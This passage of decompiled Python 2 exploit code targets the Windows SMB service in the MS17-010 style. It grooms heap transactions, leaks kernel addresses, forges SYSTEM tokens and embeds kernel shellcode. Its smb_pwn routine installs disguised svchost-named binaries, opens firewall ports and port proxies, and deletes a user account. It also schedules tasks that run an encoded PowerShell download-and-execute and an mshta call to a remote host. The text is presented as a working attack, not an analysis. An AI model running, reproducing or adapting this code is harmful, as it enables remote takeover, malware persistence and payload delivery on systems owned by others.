info [ ' trans2_mid ' ] = conn . next_mid ( )
conn . send_nt_trans_secondary ( mid = info [ ' trans1_mid ' ] , data = pack ( ' <H ' , info [ ' trans2_mid ' ] ) , dataDisplacement = info [ ' TRANS_MID_OFFSET ' ] )
return True
def exploit_fish_barrel ( conn , pipe_name , info ) :
tid = conn . tree_connect_andx ( ' \\ \\ ' + conn . get_remote_host ( ) + ' \\ ' + ' IPC$ ' )
conn . set_default_tid ( tid )
fid = conn . nt_create_andx ( tid , pipe_name )
info [ ' fid ' ] = fid
if info [ ' os ' ] == ' WIN7 ' and ' arch ' not in info :
info . update ( leak_frag_size ( conn , tid , fid ) )
if ' arch ' in info :
info . update ( OS_ARCH_INFO [ info [ ' os ' ] ] [ info [ ' arch ' ] ] )
attempt_list = [ OS_ARCH_INFO [ info [ ' os ' ] ] [ info [ ' arch ' ] ] ]
else :
attempt_list = [
OS_ARCH_INFO [ info [ ' os ' ] ] [ ' x64 ' ] , OS_ARCH_INFO [ info [ ' os ' ] ] [ ' x86 ' ] ]
print ' Groom packets '
trans_param = pack ( ' <HH ' , info [ ' fid ' ] , 0 )
for i in range ( 12 ) :
mid = info [ ' fid ' ] if i == 8 else next_extra_mid ( )
conn . send_trans ( ' ' , mid = mid , param = trans_param , totalParameterCount = 256 - TRANS_NAME_LEN , totalDataCount = 3776 , maxParameterCount = 64 , maxDataCount = 0 )
shift_indata_byte = 512
conn . do_write_andx_raw_pipe ( info [ ' fid ' ] , ' A ' * shift_indata_byte )
success = False
for tinfo in attempt_list :
print ' attempt controlling next transaction on ' + tinfo [ ' ARCH ' ]
HEAP_CHUNK_PAD_SIZE = ( tinfo [ ' POOL_ALIGN ' ] - ( tinfo [ ' TRANS_SIZE ' ] + HEAP_HDR_SIZE ) % tinfo [ ' POOL_ALIGN ' ] ) % tinfo [ ' POOL_ALIGN ' ]
NEXT_TRANS_OFFSET = 3840 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
conn . send_trans_secondary ( mid = info [ ' fid ' ] , data = ' \x00 ' , dataDisplacement = NEXT_TRANS_OFFSET + tinfo [ ' TRANS_MID_OFFSET ' ] )
wait_for_request_processed ( conn )
recvPkt = conn . send_nt_trans ( 5 , mid = special_mid , param = trans_param , data = ' ' )
if recvPkt . getNTStatus ( ) == 65538 :
print ' success controlling one transaction '
success = True
if ' arch ' not in info :
print ' Target is ' + tinfo [ ' ARCH ' ]
info [ ' arch ' ] = tinfo [ ' ARCH ' ]
info . update ( OS_ARCH_INFO [ info [ ' os ' ] ] [ info [ ' arch ' ] ] )
break
if recvPkt . getNTStatus ( ) != 0 :
print ( ' unexpected return status: 0x {:x} ' ) . format ( recvPkt . getNTStatus ( ) )
if not success :
print ( ' unexpected return status: 0x {:x} ' ) . format ( recvPkt . getNTStatus ( ) )
print ' !!! Write to wrong place !!! '
print ' the target might be crashed '
return False
print ' modify parameter count to 0xffffffff to be able to write backward '
conn . send_trans_secondary ( mid = info [ ' fid ' ] , data = ' \xff \xff \xff \xff ' , dataDisplacement = NEXT_TRANS_OFFSET + info [ ' TRANS_TOTALPARAMCNT_OFFSET ' ] )
if info [ ' arch ' ] == ' x64 ' :
conn . send_trans_secondary ( mid = info [ ' fid ' ] , data = ' \xff \xff \xff \xff ' , dataDisplacement = NEXT_TRANS_OFFSET + info [ ' TRANS_INPARAM_OFFSET ' ] + 4 )
wait_for_request_processed ( conn )
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info [ ' TRANS_SIZE ' ] + 4096 + HEAP_CHUNK_PAD_SIZE
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info [ ' TRANS_SIZE ' ] + TRANS_NAME_LEN
PREV_TRANS_OFFSET = 4294967296 L - PREV_TRANS_DISPLACEMENT
conn . send_nt_trans_secondary ( mid = special_mid , param = ' \xff \xff \xff \xff ' , paramDisplacement = PREV_TRANS_OFFSET + info [ ' TRANS_TOTALPARAMCNT_OFFSET ' ] )
if info [ ' arch ' ] == ' x64 ' :
conn . send_nt_trans_secondary ( mid = special_mid , param = ' \xff \xff \xff \xff ' , paramDisplacement = PREV_TRANS_OFFSET + info [ ' TRANS_INPARAM_OFFSET ' ] + 4 )
conn . send_trans_secondary ( mid = info [ ' fid ' ] , data = ' \x00 \x00 \x00 \x00 ' , dataDisplacement = NEXT_TRANS_OFFSET + info [ ' TRANS_INPARAM_OFFSET ' ] + 4 )
wait_for_request_processed ( conn )
print ' leak next transaction '
conn . send_trans_secondary ( mid = info [ ' fid ' ] , data = ' \x05 ' , dataDisplacement = NEXT_TRANS_OFFSET + info [ ' TRANS_FUNCTION_OFFSET ' ] )
conn . send_trans_secondary ( mid = info [ ' fid ' ] , data = pack ( ' <IIIII ' , 4 , 4 , 4 , 256 , 256 ) , dataDisplacement = NEXT_TRANS_OFFSET + info [ ' TRANS_PARAMCNT_OFFSET ' ] )
conn . send_nt_trans_secondary ( mid = special_mid )
leakData = conn . recv_transaction_data ( special_mid , 256 )
leakData = leakData [ 4 : ]
if unpack_from ( ' <H ' , leakData , HEAP_CHUNK_PAD_SIZE ) [ 0 ] != TRANS_CHUNK_SIZE / / info [ ' POOL_ALIGN ' ] :
print ' chunk size is wrong '
return False
leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
leakTrans = leakData [ leakTranOffset : ]
fmt = info [ ' PTR_FMT ' ]
_ , connection_addr , session_addr , treeconnect_addr , flink_value = unpack_from ( ' < ' + fmt * 5 , leakTrans , 8 )
inparam_value , outparam_value , indata_value = unpack_from ( ' < ' + fmt * 3 , leakTrans , info [ ' TRANS_INPARAM_OFFSET ' ] )
trans2_mid = unpack_from ( ' <H ' , leakTrans , info [ ' TRANS_MID_OFFSET ' ] ) [ 0 ]
print ( ' CONNECTION: 0x {:x} ' ) . format ( connection_addr )
print ( ' SESSION: 0x {:x} ' ) . format ( session_addr )
print ( ' FLINK: 0x {:x} ' ) . format ( flink_value )
print ( ' InData: 0x {:x} ' ) . format ( indata_value )
print ( ' MID: 0x {:x} ' ) . format ( trans2_mid )
trans2_addr = inparam_value - info [ ' TRANS_SIZE ' ] - TRANS_NAME_LEN
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
print ( ' TRANS1: 0x {:x} ' ) . format ( trans1_addr )
print ( ' TRANS2: 0x {:x} ' ) . format ( trans2_addr )
print ' modify transaction struct for arbitrary read/write '
TRANS_OFFSET = 4294967296 L - ( info [ ' TRANS_SIZE ' ] + TRANS_NAME_LEN )
conn . send_nt_trans_secondary ( mid = info [ ' fid ' ] , param = pack ( ' < ' + fmt * 3 , trans1_addr , trans1_addr + 512 , trans2_addr ) , paramDisplacement = TRANS_OFFSET + info [ ' TRANS_INPARAM_OFFSET ' ] )
wait_for_request_processed ( conn )
trans1_mid = conn . next_mid ( )
conn . send_trans_secondary ( mid = info [ ' fid ' ] , param = pack ( ' <H ' , trans1_mid ) , paramDisplacement = info [ ' TRANS_MID_OFFSET ' ] )
wait_for_request_processed ( conn )
info . update ( { ' connection ' : connection_addr , ' session ' : session_addr , ' trans1_mid ' : trans1_mid , ' trans1_addr ' : trans1_addr , ' trans2_mid ' : trans2_mid , ' trans2_addr ' : trans2_addr } )
return True
def create_fake_SYSTEM_UserAndGroups ( conn , info , userAndGroupCount , userAndGroupsAddr ) :
SID_SYSTEM = pack ( ' <BB5xBI ' , 1 , 1 , 5 , 18 )
SID_ADMINISTRATORS = pack ( ' <BB5xBII ' , 1 , 2 , 5 , 32 , 544 )
SID_AUTHENICATED_USERS = pack ( ' <BB5xBI ' , 1 , 1 , 5 , 11 )
SID_EVERYONE = pack ( ' <BB5xBI ' , 1 , 1 , 1 , 0 )
sids = [ SID_SYSTEM , SID_ADMINISTRATORS , SID_EVERYONE , SID_AUTHENICATED_USERS ]
attrs = [ 0 , 14 , 7 , 7 ]
fakeUserAndGroupCount = min ( userAndGroupCount , 4 )
fakeUserAndGroupsAddr = userAndGroupsAddr
addr = fakeUserAndGroupsAddr + fakeUserAndGroupCount * info [ ' PTR_SIZE ' ] * 2
fakeUserAndGroups = ' '
for sid , attr in zip ( sids [ : fakeUserAndGroupCount ] , attrs [ : fakeUserAndGroupCount ] ) :
fakeUserAndGroups + = pack ( ' < ' + info [ ' PTR_FMT ' ] * 2 , addr , attr )
addr + = len ( sid )
fakeUserAndGroups + = ( ' ' ) . join ( sids [ : fakeUserAndGroupCount ] )
return ( fakeUserAndGroupCount , fakeUserAndGroups )
def exploit ( target , pipe_name , USERNAME , PASSWORD , tg ) :
conn = MYSMB ( target )
conn . get_socket ( ) . setsockopt ( socket . IPPROTO_TCP , socket . TCP_NODELAY , 1 )
info = { }
conn . login ( USERNAME , PASSWORD , maxBufferSize = 4356 )
server_os = conn . get_server_os ( )
print ' Target OS: ' + server_os
if server_os . startswith ( ' Windows 7 ' ) or server_os . startswith ( ' Windows Server 2008 R2 ' ) :
info [ ' os ' ] = ' WIN7 '
info [ ' method ' ] = exploit_matched_pairs
elif server_os . startswith ( ' Windows 8 ' ) or server_os . startswith ( ' Windows Server 2012 ' ) or server_os . startswith ( ' Windows Server 2016 ' ) or server_os . startswith ( ' Windows 10 ' ) or server_os . startswith ( ' Windows RT 9200 ' ) :
info [ ' os ' ] = ' WIN8 '
info [ ' method ' ] = exploit_matched_pairs
elif server_os . startswith ( ' Windows Server (R) 2008 ' ) or server_os . startswith ( ' Windows Vista ' ) :
info [ ' os ' ] = ' WIN7 '
info [ ' method ' ] = exploit_fish_barrel
elif server_os . startswith ( ' Windows Server 2003 ' ) :
info [ ' os ' ] = ' WIN2K3 '
info [ ' method ' ] = exploit_fish_barrel
elif server_os . startswith ( ' Windows 5.1 ' ) :
info [ ' os ' ] = ' WINXP '
info [ ' arch ' ] = ' x86 '
info [ ' method ' ] = exploit_fish_barrel
elif server_os . startswith ( ' Windows XP ' ) :
info [ ' os ' ] = ' WINXP '
info [ ' arch ' ] = ' x64 '
info [ ' method ' ] = exploit_fish_barrel
elif server_os . startswith ( ' Windows 5.0 ' ) :
info [ ' os ' ] = ' WIN2K '
info [ ' arch ' ] = ' x86 '
info [ ' method ' ] = exploit_fish_barrel
else :
print ' This exploit does not support this target '
if pipe_name is None :
pipe_name = find_named_pipe ( conn )
if pipe_name is None :
print ' Not found accessible named pipe '
return False
print ' Using named pipe: ' + pipe_name
if not info [ ' method ' ] ( conn , pipe_name , info ) :
return False
fmt = info [ ' PTR_FMT ' ]
print ' make this SMB session to be SYSTEM '
write_data ( conn , info , info [ ' session ' ] + info [ ' SESSION_ISNULL_OFFSET ' ] , ' \x00 \x01 ' )
sessionData = read_data ( conn , info , info [ ' session ' ] , 256 )
secCtxAddr = unpack_from ( ' < ' + fmt , sessionData , info [ ' SESSION_SECCTX_OFFSET ' ] ) [ 0 ]
if ' PCTXTHANDLE_TOKEN_OFFSET ' in info :
if ' SECCTX_PCTXTHANDLE_OFFSET ' in info :
pctxtDataInfo = read_data ( conn , info , secCtxAddr + info [ ' SECCTX_PCTXTHANDLE_OFFSET ' ] , 8 )
pctxtDataAddr = unpack_from ( ' < ' + fmt , pctxtDataInfo ) [ 0 ]
else :
pctxtDataAddr = secCtxAddr
tokenAddrInfo = read_data ( conn , info , pctxtDataAddr + info [ ' PCTXTHANDLE_TOKEN_OFFSET ' ] , 8 )
tokenAddr = unpack_from ( ' < ' + fmt , tokenAddrInfo ) [ 0 ]
print ( ' current TOKEN addr: 0x {:x} ' ) . format ( tokenAddr )
tokenData = read_data ( conn , info , tokenAddr , 64 * info [ ' PTR_SIZE ' ] )
userAndGroupsAddr , userAndGroupCount , userAndGroupsAddrOffset , userAndGroupCountOffset = get_group_data_from_token ( info , tokenData )
print ' overwriting token UserAndGroups '
fakeUserAndGroupCount , fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups ( conn , info , userAndGroupCount , userAndGroupsAddr )
if fakeUserAndGroupCount != userAndGroupCount :
write_data ( conn , info , tokenAddr + userAndGroupCountOffset , pack ( ' <I ' , fakeUserAndGroupCount ) )
write_data ( conn , info , userAndGroupsAddr , fakeUserAndGroups )
else :
secCtxData = read_data ( conn , info , secCtxAddr , info [ ' SECCTX_SIZE ' ] )
print ' overwriting session security context '
write_data ( conn , info , secCtxAddr , info [ ' FAKE_SECCTX ' ] )
try :
smb_pwn ( conn , info [ ' arch ' ] , tg )
except :
pass
if ' PCTXTHANDLE_TOKEN_OFFSET ' in info :
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
write_data ( conn , info , userAndGroupsAddr , tokenData [ userAndGroupsOffset : userAndGroupsOffset + len ( fakeUserAndGroups ) ] )
if fakeUserAndGroupCount != userAndGroupCount :
write_data ( conn , info , tokenAddr + userAndGroupCountOffset , pack ( ' <I ' , userAndGroupCount ) )
else :
write_data ( conn , info , secCtxAddr , secCtxData )
conn . disconnect_tree ( conn . get_tid ( ) )
conn . logoff ( )
conn . get_socket ( ) . close ( )
time . sleep ( 2 )
return True
def validate_token_offset ( info , tokenData , userAndGroupCountOffset , userAndGroupsAddrOffset ) :
userAndGroupCount , RestrictedSidCount = unpack_from ( ' <II ' , tokenData , userAndGroupCountOffset )
userAndGroupsAddr , RestrictedSids = unpack_from ( ' < ' + info [ ' PTR_FMT ' ] * 2 , tokenData , userAndGroupsAddrOffset )
success = True
if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0 :
print ' Bad TOKEN_USER_GROUP offsets detected while parsing tokenData! '
print ( ' RestrictedSids: 0x {:x} ' ) . format ( RestrictedSids )
print ( ' RestrictedSidCount: 0x {:x} ' ) . format ( RestrictedSidCount )
success = False
print ( ' userAndGroupCount: 0x {:x} ' ) . format ( userAndGroupCount )
print ( ' userAndGroupsAddr: 0x {:x} ' ) . format ( userAndGroupsAddr )
return ( success , userAndGroupCount , userAndGroupsAddr )
def get_group_data_from_token ( info , tokenData ) :
userAndGroupCountOffset = info [ ' TOKEN_USER_GROUP_CNT_OFFSET ' ]
userAndGroupsAddrOffset = info [ ' TOKEN_USER_GROUP_ADDR_OFFSET ' ]
success , userAndGroupCount , userAndGroupsAddr = validate_token_offset ( info , tokenData , userAndGroupCountOffset , userAndGroupsAddrOffset )
if not success and info [ ' os ' ] == ' WINXP ' and info [ ' arch ' ] == ' x86 ' :
print ' Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround '
userAndGroupCountOffset = info [ ' TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1 ' ]
userAndGroupsAddrOffset = info [ ' TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1 ' ]
success , userAndGroupCount , userAndGroupsAddr = validate_token_offset ( info , tokenData , userAndGroupCountOffset , userAndGroupsAddrOffset )
if not success :
print ' Bad TOKEN_USER_GROUP offsets. Abort > BSOD '
return (
userAndGroupsAddr , userAndGroupCount , userAndGroupsAddrOffset , userAndGroupCountOffset )
def smb_pwn ( conn , arch , tg ) :
ee = ' '
eb = ' c: \\ windows \\ system32 \\ calc.exe '
smbConn = conn . get_smbconnection ( )
if os . path . exists ( ' c:/windows/system32/svhost.exe ' ) :
eb = ' c: \\ windows \\ system32 \\ svhost.exe '
if os . path . exists ( ' c:/windows/SysWOW64/svhost.exe ' ) :
eb = ' c: \\ windows \\ SysWOW64 \\ svhost.exe '
if os . path . exists ( ' c:/windows/system32/drivers/svchost.exe ' ) :
eb = ' c: \\ windows \\ system32 \\ drivers \\ svchost.exe '
if os . path . exists ( ' c:/windows/SysWOW64/drivers/svchost.exe ' ) :
eb = ' c: \\ windows \\ SysWOW64 \\ drivers \\ svchost.exe '
service_exec ( conn , ' cmd /c net share c$=c: ' )
if tg == 2 :
smb_send_file ( smbConn , eb , ' c ' , ' /installed2.exe ' )
else :
smb_send_file ( smbConn , eb , ' c ' , ' /installed.exe ' )
if os . path . exists ( ' c:/windows/temp/svvhost.exe ' ) :
ee = ' c: \\ windows \\ temp \\ svvhost.exe '
if os . path . exists ( ' c:/windows/temp/svchost.exe ' ) :
ee = ' c: \\ windows \\ temp \\ svchost.exe '
if ' .exe ' in ee :
smb_send_file ( smbConn , ee , ' c ' , ' /windows/temp/svchost.exe ' )
else :
print ' no eb************************** '
if tg == 2 :
bat = ' cmd /c c: \\ installed2.exe&c: \\ installed2.exe&echo c: \\ installed2.exe >c:/windows/temp/p.bat&echo c: \\ windows \\ temp \\ svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn " \\ Microsoft \\ windows \\ Bluetooths " /tr " powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= " /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr " cmd.exe /c mshta http://w.beahh.com/page.html?p % COMPUTERNAME % " ^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %% i in ( \' tasklist ^^^| find /c /i " cmd.exe " \' ^) do set s= %% i >>c:/windows/temp/p.bat&echo if %s % g tr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c: \\ windows \\ temp \\ p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat '
else :
bat = ' cmd /c c: \\ installed.exe&c: \\ installed.exe&echo c: \\ installed.exe >c:/windows/temp/p.bat&echo c: \\ windows \\ temp \\ svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn " \\ Microsoft \\ windows \\ Bluetooths " /tr " powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= " /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr " cmd.exe /c mshta http://w.beahh.com/page.html?p % COMPUTERNAME % " ^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %% i in ( \' tasklist ^^^| find /c /i " cmd.exe " \' ^) do set s= %% i >>c:/windows/temp/p.bat&echo if %s % g tr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c: \\ windows \\ temp \\ p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat '
service_exec ( conn , bat )
def smb_send_file ( smbConn , localSrc , remoteDrive , remotePath ) :
with open ( localSrc , ' rb ' ) as fp :
smbConn . putFile ( remoteDrive + ' $ ' , remotePath , fp . read )
def service_exec ( conn , cmd ) :
import random
random . choice = random . choice
random . randint = random . randint
import string
from impacket . dcerpc . v5 import transport , srvs , scmr
service_name = ( ' ' ) . join ( [ random . choice ( string . letters ) for i in range ( 4 ) ] )
rpcsvc = conn . get_dce_rpc ( ' svcctl ' )
rpcsvc . connect ( )
rpcsvc . bind ( scmr . MSRPC_UUID_SCMR )
svcHandle = None
try :
try :
print ' Opening SVCManager on %s ..... ' % conn . get_remote_host ( )
resp = scmr . hROpenSCManagerW ( rpcsvc )
svcHandle = resp [ ' lpScHandle ' ]
try :
resp = scmr . hROpenServiceW ( rpcsvc , svcHandle , service_name + ' \x00 ' )
except Exception as e :
if str ( e ) . find ( ' ERROR_SERVICE_DOES_NOT_EXIST ' ) == - 1 :
raise e
else :
scmr . hRDeleteService ( rpcsvc , resp [ ' lpServiceHandle ' ] )
scmr . hRCloseServiceHandle ( rpcsvc , resp [ ' lpServiceHandle ' ] )
print ' Creating service %s ..... ' % service_name
resp = scmr . hRCreateServiceW ( rpcsvc , svcHandle , service_name + ' \x00 ' , service_name + ' \x00 ' , lpBinaryPathName = cmd + ' \x00 ' )
serviceHandle = resp [ ' lpServiceHandle ' ]
if serviceHandle :
try :
print ' Starting service %s ..... ' % service_name
scmr . hRStartServiceW ( rpcsvc , serviceHandle )
time . sleep ( 2 )
print ' Stoping service %s ..... ' % service_name
scmr . hRControlService ( rpcsvc , serviceHandle , scmr . SERVICE_CONTROL_STOP )
time . sleep ( 2 )
except Exception as e :
print str ( e )
print ' Removing service %s ..... ' % service_name
scmr . hRDeleteService ( rpcsvc , serviceHandle )
scmr . hRCloseServiceHandle ( rpcsvc , serviceHandle )
except Exception as e :
print ' ServiceExec Error on: %s ' % conn . get_remote_host ( )
print str ( e )
finally :
if svcHandle :
scmr . hRCloseServiceHandle ( rpcsvc , svcHandle )
rpcsvc . disconnect ( )
scode = ' 31c0400f84be03000060e8000000005be823000000b9760100000f328d7b3c39f87411394500740689450089550889f831d20f3061c224008dab00100000c1ed0cc1e50c81ed50000000c3b92300000068300000000fa18ed98ec1648b0d400000008b6104519c60e8000000005be8c5ffffff8b450005170000008944242431c09942f00fb055087512b976010000998b45000f30fbe804000000fa619dc38b4500c1e80cc1e00c2d001000006681384d5a75f4894504b8787cf4dbe8e100000097b83f5f647757e8d500000029f889c13d70010000750505080000008d581c8d341f64a1240100008b3689f229c281fa0004000077f252b8e1140117e8a70000008b400a8d50048d340fe8d70000003d5a6afac174113dd883e03e740a8b3c1729d7e9e0ffffff897d0c8d1c1f8d75105f8b5b04b83e4cf8cee86a0000008b400a3ca077022c0829f8817c03fc0000000074de31c05568010000005550e800000000810424950000005053293c2456b8c45c196de82800000031c050505056b83446ccafe81800000085c074a48b451c80780e01740a8900894004e991ffffffc3e802000000ffe0608b6d04978b453c8b54057801ea8b4a188b5a2001eb498b348b01eee81d00000039f875f18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c35231c099acc1ca0d01c285c075f6925ac358894424105859585a6052518b2831c064a22400000099b04050c1e0065054528911514a52b8ea996e57e87bffffff85c07553588b38e8000000005e81c659000000b900040000f3a48b450c50b848b818b8e853ffffff8b400c8b40148b0066817824180075f68b5028817a0c3300320075ea8b5810895d04b85e515e83e82effffff59890131c08845084064a22400000061c35a585859515151e8000000008104240c000000515152ffe0dadeba67042d06d97424f45d31c9b14383c504315513033217cff340ff8dfcb800f2755d3132e1166282617a8f69276e041fe081adaad6ac2e862bafacd57f0f8c15724ec9487f028207d2b2a752ef39fb7377de4c755671c62c78700b45316a48608b01ba1e0ac3f2dfa12a3b12bb6bfccdce85fe70c9527caf5c402624c6acd6e99127d446d56ff9593a0405d1bdca8fa199ced4728357b1d5bc871a8918ccb7de108fdd21a6aa9022b8b4844a893f4b0c16ea2ff2f43e5a9ba0abe7c652062bffd0a2d404c8c7d1414e34a8da3b3a1fda6959f240b2b26fa9dca91b89554281bbb5cf7154856ba2cfd11791651b84bf1f081d60cfcf0504297ea0b01512455a3786feeed823702f46a81d46e659aeec84f824621b88e417e306d78333f87628500655e82e000000b9820000c00f324c8d0d370000004439c87419394500740a895504894500c645f8004991505a48c1ea200f305dc3488d2d0010000048c1ed0c48c1e50c4881ed70000000c30f01f865488924251000000065488b2425a8010000682b00000065ff342510000000505055e8bfffffff488b450048051f00000048894424105152415041514152415331c0b201f00fb055f87514b9820000c08b45008b55040f30fbe80e000000fa415b415a415941585a595d58c341574156575653504c8b7d0049c1ef0c49c1e70c4981ef001000006641813f4d5a75f14c897d08654c8b342588010000bf787cf4dbe8180100004891bf3f5f6477e8130100008b400389c33d0004000072050510000000488d50284c8d04114d89c14d8b094d39c80f84db0000004c89c84c29f0483d0007000077e64d29cebfe1140117e8d00000008b780381c708000000488d3419e8060100003d5a6afac174133dd883e03e740c488b0c394829f9e9ddffffffbf48b818b8e893000000488945f0488d34114889f3488b5b084839de74f74a8d1433bf3e4cf8cee8780000008b400348817c02f80000000074db488d4d104d31c04c8d0db50000005568010000005541504881ec20000000bfc45c196de83b000000488d4d104d31c9bf3446ccafe82a0000004881c44000000085c07497488b452080781a01740c48890048894008e981ffffff585b5e5f415e415fc3e802000000ffe0535156418b473c418b8407880000004c01f8508b48188b58204c01fbffc98b348b4c01fee81f00000039f875ef588b58244c01fb668b0c4b8b581c4c01fb8b048b4c01f85e595bc35231c099acc1ca0d01c285c075f6925ac3555357564157498b284c8b7d08525e4c89cb31c0440f22c048890289c148f7d14989c0b04050c1e006504989014881ec20000000bfea996e57e862ffffff4881c43000000085c07546488b3e488d354e000000b900060000f3a4488b45f0488b4018488b4020488b0066817848180075f5488b5050817a0c3300320075e84c8b7820bf5e515e83e81bffffff48890331c9884df8b101440f22c1415f5e5f5b5dc3489231c951514989c94c8d051300000089ca4881ec20000000ffd04881c430000000c3dac4d97424f4be15624e335f33c9b15731771a83c704037716e2e09e06b0eeaf7f76ee4f8036bf0ed0ea6ec7983b428250b7302d294ce6b5e1d954e6b9562ab671667d7cc835b04884f472e629960ef57d78af38b4756eba86649dee49381584189a2ed8a092310d53a2b9ad64a3f128a4d7667b24c838f06ef0fc8d2f20b5907fc313db80cdda504a469467651b15a1c195959d9314dcd352961fd3b4ed6e683642b4797d63650ca5cbc16415c8807b467653f76a3f178c33a3de93639a6b970b556a484a3e2d3013e7f781f3565e435e11e3af7ee0b1d09fba74763a73fd9a53d4fe645c864821a2394855a5394855edb4c554ecc6d51754f75ef82f07b5bcd0e51fc9
sc = binascii . unhexlify ( scode )
NTFEA_SIZE = 69632
ntfea10000 = pack ( ' <BBH ' , 0 , 0 , 65501 ) + ' A ' * 65502
ntfea11000 = ( pack ( ' <BBH ' , 0 , 0 , 0 ) + ' \x00 ' ) * 600
ntfea11000 + = pack ( ' <BBH ' , 0 , 0 , 62397 ) + ' A ' * 62398
ntfea1f000 = ( pack ( ' <BBH ' , 0 , 0 , 0 ) + ' \x00 ' ) * 9364
ntfea1f000 + = pack ( ' <BBH ' , 0 , 0 , 18669 ) + ' A ' * 18670
ntfea = { 65536 : ntfea10000 , 69632 : ntfea11000 }
TARGET_HAL_HEAP_ADDR_x64 = 18446744073706405904 L
TARGET_HAL_HEAP_ADDR_x86 = 4292866048 L
fakeSrvNetBufferNsa = pack ( ' <II ' , 69632 , 0 ) * 2
fakeSrvNetBufferNsa + = pack ( ' <HHI ' , 65535 , 0 , 0 ) * 2
fakeSrvNetBufferNsa + = ' \x00 ' * 16
fakeSrvNetBufferNsa + = pack ( ' <IIII ' , TARGET_HAL_HEAP_ADDR_x86 + 256 , 0 , 0 , TARGET_HAL_HEAP_ADDR_x86 + 32 )
fakeSrvNetBufferNsa + = pack ( ' <IIHHI ' , TARGET_HAL_HEAP_ADDR_x86 + 256 , 0 , 96 , 4100 , 0 )
fakeSrvNetBufferNsa + = pack ( ' <IIQ ' , TARGET_HAL_HEAP_ADDR_x86 - 128 , 0 , TARGET_HAL_HEAP_ADDR_x64 )
fakeSrvNetBufferNsa + = pack ( ' <QQ ' , TARGET_HAL_HEAP_ADDR_x64 + 256 , 0 )
fakeSrvNetBufferNsa + = pack ( ' <QHHI ' , 0 , 96 , 4100 , 0 )
fakeSrvNetBufferNsa + = pack ( ' <QQ ' , 0 , TARGET_HAL_HEAP_ADDR_x64 - 128 )
fakeSrvNetBufferX64 = pack ( ' <II ' , 69632 , 0 ) * 2
fakeSrvNetBufferX64 + = pack ( ' <HHIQ ' , 65535 , 0 , 0 , 0 )
fakeSrvNetBufferX64 + = ' \x00 ' * 16
fakeSrvNetBufferX64 + = ' \x00 ' * 16
fakeSrvNetBufferX64 + = ' \x00 ' * 16
fakeSrvNetBufferX64 + = pack ( ' <IIQ ' , 0 , 0 , TARGET_HAL_HEAP_ADDR_x64 )
fakeSrvNetBufferX64 + = pack ( ' <QQ ' , TARGET_HAL_HEAP_ADDR_x64 + 256 , 0 )
fakeSrvNetBufferX64 + = pack ( ' <QHHI ' , 0 , 96 , 4100 , 0 )
fakeSrvNetBufferX64 + = pack ( ' <QQ ' , 0 , TARGET_HAL_HEAP_ADDR_x64 - 128 )
